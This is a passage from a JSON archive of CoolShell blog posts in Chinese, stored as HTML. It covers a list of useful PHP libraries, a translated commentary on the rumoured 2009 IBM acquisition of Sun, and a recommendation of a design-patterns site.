#0000ff;\">src</span></a><br/>\n<strong>Linux related products<br/>\n</strong>• <a href=\"http://www.makelinux.net/kernel_map_poster\" target=\"_blank\"><span style=\"color: #0000ff;\">Linux kernel poster</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=136&amp;affiliate_banner_id=50\" target=\"_blank\"><span style=\"color: #0000ff;\">Linux Quick Guide</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=142&amp;affiliate_banner_id=48\" target=\"_blank\"><span style=\"color: #0000ff;\">Unix like Operating Systems Map</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=134&amp;affiliate_banner_id=49\" target=\"_blank\"><span style=\"color: #0000ff;\">Unix Quick Guide</span></a><br/>\n<strong>Other products<br/>\n</strong>• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=124&amp;affiliate_banner_id=43\" target=\"_blank\"><span style=\"color: #0000ff;\">Computer Operating System Map</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=118&amp;affiliate_banner_id=42\" target=\"_blank\"><span style=\"color: #0000ff;\">Wi-Fi Quick Guide</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=68&amp;affiliate_banner_id=15\" target=\"_blank\"><span style=\"color: #0000ff;\">Wireless Communication Technology Map</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=120&amp;affiliate_banner_id=41\" target=\"_blank\"><span style=\"color: #0000ff;\">VOIP Quick Guide</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=69&amp;affiliate_banner_id=14\" target=\"_blank\"><span style=\"color: #0000ff;\">Network Protocol Map</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=65&amp;affiliate_banner_id=13\" target=\"_blank\"><span style=\"color: #0000ff;\">TCP/IP Quick Guide</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=70&amp;affiliate_banner_id=12\" target=\"_blank\"><span style=\"color: #0000ff;\">Network Security Map</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=63&amp;affiliate_banner_id=11\" target=\"_blank\"><span style=\"color: #0000ff;\">Network Protocols Handbook</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=113&amp;affiliate_banner_id=9\" target=\"_blank\"><span style=\"color: #0000ff;\">Network Management Architecture and Technology Map</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=79&amp;affiliate_banner_id=7\" target=\"_blank\"><span style=\"color: #0000ff;\">Network Dictionary</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=133&amp;affiliate_banner_id=56\" target=\"_blank\"><span style=\"color: #0000ff;\">IPv6 Deployment Guide</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=67&amp;affiliate_banner_id=5\" target=\"_blank\"><span style=\"color: #0000ff;\">Ethernet Quick Guide</span></a><br/>\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=77&amp;affiliate_banner_id=44\" target=\"_blank\"><span style=\"color: #0000ff;\">3G Wireless Tech Quick Guide</span></a><br/>\n<strong>Other</strong>:<br/>\n• <a href=\"http://www.makelinux.net/biotech\" target=\"_blank\"><span style=\"color: #0000ff;\">Business proposal to production of ointment for treatment skin diseases</span></a><br/>\n</span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/194.html\">Linux 相关的资源站makelinux.net</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-18 20 你应该知道的PHP库.html",
    "content": "<html><body><p></p>\n<p class=\"entry\">下面是一些非常有用的PHP类库，相信一定可以为你的WEB开发提供更好和更为快速的方法。</p>\n<h3 class=\"entry\">图表库<a href=\"https://coolshell.cn/wp-content/uploads/2009/03/021151lephpant-e_png.jpg\"><img alt=\"021151lephpant-e_png\" class=\"alignright size-full wp-image-201\" height=\"128\" src=\"../wp-content/uploads/2009/03/021151lephpant-e_png.jpg\" title=\"021151lephpant-e_png\" width=\"200\"/></a></h3>\n<p class=\"entry\">下面的类库可以让你很简的创建复杂的图表和图片。当然，它们需要GD库的支持。</p>\n<div class=\"entry\">\n<ol>\n<li><a href=\"http://pchart.sourceforge.net/\" target=\"_blank\" title=\"pChart\">pChart</a> – 一个可以创建统计图的库。</li>\n<li><a href=\"http://naku.dohcrew.com/libchart/pages/introduction/\" target=\"_blank\" title=\"Libchart\">Libchart</a> – 这也是一个简单的统计图库。</li>\n<li><a href=\"http://www.aditus.nu/jpgraph/\" target=\"_blank\" title=\"JpGraph\">JpGraph</a> – 一个面向对象的图片创建类。</li>\n<li><a href=\"http://teethgrinder.co.uk/open-flash-chart/\" target=\"_blank\" title=\"Open Flash Chart\">Open Flash Chart</a> – 这是一个基于Flash的统计图。</li>\n</ol>\n</div>\n<p> <span id=\"more-200\"></span></p>\n<h3>RSS 解析</h3>\n<p>解释RSS并是一件很单调的事情，不过幸好你有下面的类库可以帮助你方便地读取RSS的Feed。</p>\n<ol>\n<li><a href=\"http://magpierss.sourceforge.net/\" target=\"_blank\" title=\"MagpieRSS\">MagpieRSS</a> – 开源的PHP版RSS解析器，据说功能强大，未验证。</li>\n<li><a href=\"http://simplepie.org/\" target=\"_blank\" title=\"SimplePie\">SimplePie</a> – 这是一个非常快速，而且易用的RSS和Atom 解析库。</li>\n</ol>\n<h3>缩略图生成</h3>\n<ol>\n<li><a href=\"http://phpthumb.sourceforge.net/\" target=\"_blank\" title=\" phpThumb\">phpThumb</a> – 功能很强大，如何强大还是自己去体会吧。</li>\n</ol>\n<h3>支付</h3>\n<p>你的网站需要处理支付方面的事情？需要一个和支付网关的程序？下面这个程序可以帮到你。</p>\n<ol>\n<li><a href=\"http://www.phpfour.com/blog/2009/02/php-payment-gateway-library-for-paypal-authorizenet-and-2checkout/\" target=\"_blank\" title=\"PHP Payment Library\">PHP Payment Library</a> – 支持Paypal, Authorize.net 和2Checkout (2CO)</li>\n</ol>\n<h3>OpenID</h3>\n<ol>\n<li><a href=\"http://www.openidenabled.com/php-openid/\" target=\"_blank\" title=\"PHP-OpenID\">PHP-OpenID</a> – 支持OpenID的一个PHP库。OpenID是帮助你使用相同的用户名和口令登录不同的网站的一种解决方案。如果你对OpenID不熟悉的话，你可以到这里看看：<a href=\"http://openid.net.cn/\">http://openid.net.cn/</a></li>\n</ol>\n<h3>数据为抽象/对象关系映射ORM</h3>\n<ol>\n<li><a href=\"http://adodb.sourceforge.net/\" target=\"_blank\" title=\"ADOdb\">ADOdb</a> – 数据库抽象</li>\n<li><a href=\"http://www.doctrine-project.org/\" target=\"_blank\" title=\"Doctrine\">Doctrine</a> – 对象关系映射Object relational mapper (ORM) ，需要 PHP 5.2.3+ 版本，一个非常强大的database abstraction layer (DBAL).</li>\n<li><a href=\"http://propel.phpdb.org/trac/\" target=\"_blank\" title=\"Propel\">Propel</a> – 对象关系映射框架- PHP5</li>\n<li><a href=\"http://www.outlet-orm.org/site/\" target=\"_blank\" title=\"Outlet\">Outlet</a> – 也是关于对象关系映射的一个工具。</li>\n</ol>\n<p>注：对象关系映射（Object Relational Mapping，简称ORM）是一种为了解决面向对象与关系数据库存在的互不匹配的现象的技术。 简单的说，ORM是通过使用描述对象和数据库之间映射的元数据，将程序中的对象自动持久化到关系数据库中。本质上就是将数据从一种形式转换到另外一种形式。 这也同时暗示者额外的执行开销；然而，如果ORM作为一种中间件实现，则会有很多机会做优化，而这些在手写的持久层并不存在。 更重要的是用于控制转换的元数据需要提供和管理；但是同样，这些花费要比维护手写的方案要少；而且就算是遵守ODMG规范的对象数据库依然需要类级别的元数据。</p>\n<h3>PDF 生成器</h3>\n<ol>\n<li><a href=\"http://www.fpdf.org/\" target=\"_blank\" title=\"FPDF\">FPDF</a> – 这量一个可以让你生成PDF的纯PHP类库。</li>\n</ol>\n<h3>Excel 相关</h3>\n<p>你的站点需要生成Excel？没有问题，下面这两个类库可以让你轻松做到这一点。</p>\n<div id=\"psum\">\n<ol>\n<li><a href=\"http://code.google.com/p/php-excel/\" target=\"_blank\" title=\"php-excel\">php-excel</a> – 这是一个非常简单的Excel文件生成类。</li>\n<li><a href=\"http://code.google.com/p/php-excel-reader/\" target=\"_blank\" title=\"PHP Excel Reader\">PHP Excel Reader</a> – 可以解析并读取XLS文件中的数据。</li>\n</ol>\n</div>\n<h3 id=\"psum\">E-Mail 相关</h3>\n<p>不喜欢PHP的mail函数？觉得不够强大？下面的PHP邮件相关的库绝对不会让你失望。</p>\n<div>\n<ol>\n<li><a href=\"http://swiftmailer.org/\" target=\"_blank\" title=\"Swift Mailer\">Swift Mailer</a> – 免费的超多功能的PHP邮件库。</li>\n<li><a href=\"http://phpmailer.codeworxtech.com/\" target=\"_blank\" title=\"PHPMailer\">PHPMailer </a>– 超强大的邮件发送类。</li>\n</ol>\n<h3>单元测试</h3>\n<p>如果你在使用测试驱动的方法开发你的程序，下面的类库和框架绝你能帮助你的开发。</p></div>\n<ol>\n<li><a href=\"http://www.simpletest.org/\" target=\"_blank\" title=\"SimpleTest\">SimpleTest</a> – 一个PHP的单元测试和网页测试的框架。</li>\n<li><a href=\"http://www.phpunit.de/\" target=\"_blank\" title=\"PHPUnit\">PHPUnit</a> – 来自xUnit 家族，提供一个框架可以让你方便地进行单元测试的案例开发。并可非常容易地分析其测试结果。</li>\n</ol>\n<p>文章：<a href=\"http://komunitasweb.com/2009/03/20-great-php-library-you-need-to-know/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5160.html\"><img alt=\"PHP分页技术的代码和示例\" height=\"150\" src=\"../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5160.html\">PHP分页技术的代码和示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2394.html\"><img alt=\"九个PHP很有用的功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2394.html\">九个PHP很有用的功能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/200.html\">20 你应该知道的PHP库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-18 IBM收购Sun，这是一种什么样的精神？.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/ibm-potentially-buying-sun.jpg\"><img alt=\"OFRIN-IBM-SUN-MICROSYSTEMS-20090318\" class=\"alignright size-medium wp-image-205\" height=\"300\" src=\"../wp-content/uploads/2009/03/ibm-potentially-buying-sun-203x300.jpg\" title=\"OFRIN-IBM-SUN-MICROSYSTEMS-20090318\" width=\"203\"/></a>《华尔街日报》3月18日报导有消息说IBM要以65亿美金收购Sun（<a href=\"http://online.wsj.com/article/SB123735970806267921.html\" target=\"_blank\">原文</a>），虽然消息未经证实，但已引起轩然大波。据<a href=\"http://sanjose.bizjournals.com/sanjose/stories/2009/03/16/daily38.html\" target=\"_blank\">Business Joural</a>报道，周二，Sun的股票一下子涨了68%，从之前$4.97一下涨到了$8.36，但IBM的股价下跌4%到了$89.46。</p>\n<p>而网上的博主们都在狂写评论文章了。有持支持态度的，这篇<a href=\"http://www.electronista.com/articles/09/03/18/ibm.may.buy.sun/\" target=\"_blank\">博文</a>表明IBM和Sun都是喜欢开源（Linux 和OpenSolaris）以及跨平台的（Linux和Java）的，所以他们的合并可能更好的对抗微软和intel的x86平台，应该太有作为。还有这篇<a href=\"http://blog.internetnews.com/skerner/2009/03/ibm-sun-acquisition-good-for-u.html\" target=\"_blank\">博文</a>则对比了HP收购Compaq(DEC)的案例，说明这样的合并可能更为容易和HP对抗。</p>\n<p>当然，也有不认可以文章，比如ZNet上的这篇<a href=\"http://blogs.zdnet.com/Gardner/?p=2857\" target=\"_blank\">文章</a>，作者觉得这根本就不可能，因为IBM和Sun有太多的重合了，很多方面都有存在很强的竞争，IBM要买来一点用都没有，要芯片技术吗？要操作系统吗？要数据库吗？要Java吗？更不可能。文中说，如果IBM想把Sun干掉，那么用65亿美金就太贵了，在这个寒冬，应该不用这种价格，除非这则新闻另有别的用意……</p>\n<p>不过，最有意思的评论是<a href=\"http://www.thevarguy.com/2009/03/18/ibm-targeting-sun-for-takeover-linux-mysql-potential-winners/\" target=\"_blank\"><strong>这篇</strong></a>，简直是太精彩了，我忍不住想把之翻译在这里：</p>\n<p><span id=\"more-203\"></span></p>\n<p>——————————————————————————</p>\n<p>有报道说IBM准备使用至少65亿美金收购Sun Microsystems公司。如果这个交易发生的话，那么，难道这意味着 Solaris, SPARC, MySQL 和其它技术的会和IBM的核心产品重迭在一起？是否HP也会给Sun打个电话然后再给个价格呢？本人在此对于这个潜在的收购案给出四个预言。当然，Linux肯定是主宰了整个谈判。</p>\n<p>基本上来说，本人并不是一个大型IT公司并购的Fans，因为你只要查看一下历史上的股票估价，你就会发现绝大多数的并购并不能像实际所说的那样。 (比如: Novell/WordPerfect, AT&amp;T/NCR,  AOL/Time Warner, Symantec/Veritas 等等).</p>\n<p>当然，本人要给IBM收购Sun的这种行为竖个大拇哥以示表扬。为什么？<a href=\"http://www.thevarguy.com/2009/01/30/is-sun-microsystems-the-new-novell/\" target=\"_blank\">因为我们的Sun目前正生活在炼狱中</a>，但是它却不可小视，因为这个公司有关很很的排列整齐的开源项目 (<a href=\"http://mysql.com/\" target=\"_blank\">MySQL</a>, <a href=\"http://www.thevarguy.com/2008/11/10/sun-open-storage-appliances-meet-the-open-source-channel/\" target=\"_blank\">open source storage</a> 等) ，但是如果与 Sun的过时的生意(SPARC, Solaris, 等)比起来，这些只能为Sun带来硬币级利润的开源项目只能算个屁了。</p>\n<p>如果IBM真的收购了Sun，那么下面是我的四个预言：</p>\n<ol>\n<li><strong>长期停止Sun的基于RISC的 SPARC处理器。</strong> IBM 本来就有了基于 RISC 技术的处理器( <a href=\"http://en.wikipedia.org/wiki/IBM_POWER\" target=\"_blank\">POWER</a> 产品线)。让我们公正诚实地来看待这个问题，这些大的公司正在四周布满Intel服务器的环境下巩固他们的过气的RISC数据中心。我们不得不说，IBM的确干了一件相当出色的事情来长期地支援那些过气的硬件，而真实的研发 会出现一些POWER/SPARC 的结合变种以面对高端定位。</li>\n<li><strong> Sun Solaris 必然会被混合到 IBM AIX中。</strong> 这个世界有太多的Unix了，IBM找到了一个很有创意的方法取代于继续支持两个Unix，那就是把Solais和AIX所有的功能特性合并到一起。然后和HP-UX竞争，但最终可能的结果也许为成为Linux。这里，我希望大家不要在OpenSolris这里纠缠争论，因为本人强烈地怀疑IBM会把OpenSolaris直接做成Linux的另一选择。</li>\n<li><strong>MySQL 是个大赢家。</strong>今天MySQL在东家Sun这里一看多了。MySQL在这些并购中的声望可以继续增涨，但是MySQL的职员可能会因此离开，而且MySQL内讧也会或多或少打击到开源数据。但有了强大的IBM Global Services 和 Big Blue 的销售渠道，MySQL 只会更加繁荣和兴旺。而且和DB2的联姻，IBM获得了一个强有力的组合拳（one-two punch） ，Oracle 和Microsoft SQL Server自然要被挨打。</li>\n<li><strong>Linux。</strong>这是这个游戏中最大最大的赢家。不但可以在IBM自主的技术蓝图中和Sun的硬件和软件联合起来，而且可以向Linux的数据中心进军，甚至Linux的桌面系统可以加快速度。相信我，绝对没错的。</li>\n</ol>\n<p>不但如此，IBM 收购Sun 还绝对说明了三件事： 1）合并了技术，2）合并了员工，3）控制了Sun的客户基础。</p>\n<p>Sun 用户不应该会恐慌，因为IBM拥有如此之强的实力会继续提供那些过气了的产品。实际上，Sun的用户只会在“如果IBM不收购Sun”时才会感到恐慌……</p>\n<p>好了，让我用一个思考性的问题来结束这个文章吧——到底是谁泄露IBM收购Sun的这个价格？为什么要泄露？难道是有人想要把HP也拉进来坐地起价？ 嘿嘿…<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1426.html\"><img alt=\"Oracle的战书！\" height=\"150\" src=\"../wp-content/uploads/2009/09/sun_customers_lg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1426.html\">Oracle的战书！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/595.html\"><img alt=\"Oracle成功收购Sun\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/595.html\">Oracle成功收购Sun</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1038.html\"><img alt=\"编程命名中的7+1个提示\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1038.html\">编程命名中的7+1个提示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2155.html\"><img alt=\"别只谈系统备份，谈谈怎样恢复系统吧！\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2155.html\">别只谈系统备份，谈谈怎样恢复系统吧！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/968.html\"><img alt=\"18个Web开发的IDE\" height=\"150\" src=\"../wp-content/uploads/2009/06/visual_web_developer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/968.html\">18个Web开发的IDE</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8619.html\"><img alt=\"你可能不知道的Shell\" height=\"150\" src=\"../wp-content/uploads/2012/11/shell.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/203.html\">IBM收购Sun，这是一种什么样的精神？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 101个设计模式.html",
    "content": "<html><body><p>所以设计模式，实是是一种方法，一种为了解决某种或某类物定问题所使用的设计模型。据说，在编程语言方面有100多种设计模式，而在现实生活中，传说有上成千上万个模式，比如写书有写书的设计模式，写武侠的一种，言情的另一种，连官方的新闻稿件也有。</p>\n<p><span id=\"more-21\"></span></p>\n<p><img alt=\"\" class=\"alignright\" height=\"270\" src=\"http://sourcemaking.com/files/sm/dp_book.jpg\" width=\"207\"/>言归正传，这个站点（<a href=\"http://sourcemaking.com/design-patterns-and-tips\" target=\"_blank\">http://sourcemaking.com/design-patterns-and-tips</a>）是向大家着力推荐的讲解编程方面设计模式的网站，除了GoF那经典的23个三大类的设计模式，还有Ｎ多的其它种类的设计模式。一共101个，最重要的是，它的这101个设计模式的写作模式如下：</p>\n<ol>\n<li>模式的意图</li>\n<li>要解决什么样的问题</li>\n<li>模式的讨论</li>\n<li>模式的结构</li>\n<li>模式的业务示例</li>\n<li>实现模式的Checklist</li>\n<li>模式的规则</li>\n<li>代码示例（包括各种语言，如：Java, C++, PHP, Delphi…）</li>\n</ol>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8961.html\"><img alt=\"从面向对象的设计模式看软件设计\" height=\"150\" src=\"../wp-content/uploads/2013/01/kiss-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8961.html\">从面向对象的设计模式看软件设计</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7236.html\"><img alt=\"用Unix的设计思想来应对多变的需求\" height=\"150\" src=\"../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7236.html\">用Unix的设计思想来应对多变的需求</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6950.html\"><img alt=\"需求变化与IoC\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6950.html\">需求变化与IoC</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21.html\">101个设计模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 50套Web开发图标.html",
